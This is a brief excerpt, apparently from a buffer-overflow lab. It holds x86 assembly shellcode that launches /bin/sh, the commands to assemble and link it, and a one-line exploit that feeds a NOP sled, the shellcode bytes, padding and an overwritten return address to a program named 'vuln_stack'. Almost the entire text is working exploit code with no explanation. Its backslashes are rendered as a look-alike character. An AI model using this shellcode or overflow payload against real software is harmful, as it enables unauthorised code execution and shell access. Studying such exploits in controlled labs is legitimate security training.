section . text
global _start

_start :
xor eax , eax
push eax
push 0 x68732f6e
push 0 x69622f2f
mov ebx , esp
mov ecx , eax
mov edx , eax
mov al , 0xb
int 0x80

$ nasm -f elf shellcode3.asm
$ ld -m elf_i386 shellcode3.o -o shellcode3

./vuln_stack ∖
$(python -c 'print "∖x90"*40 + ∖
"∖x31∖xc0∖x50∖x68∖x6e∖x2f∖x73∖x68"∖
"∖x68∖x2f∖x2f∖x62∖x69∖x89∖xe3∖x89"∖
"∖xc1∖x89∖xc2∖xb0∖x0b∖xcd∖x80" + ∖
"A"*49 + "∖xf0∖xd5∖xff∖xff"')

objdump -M intel -d shellcode3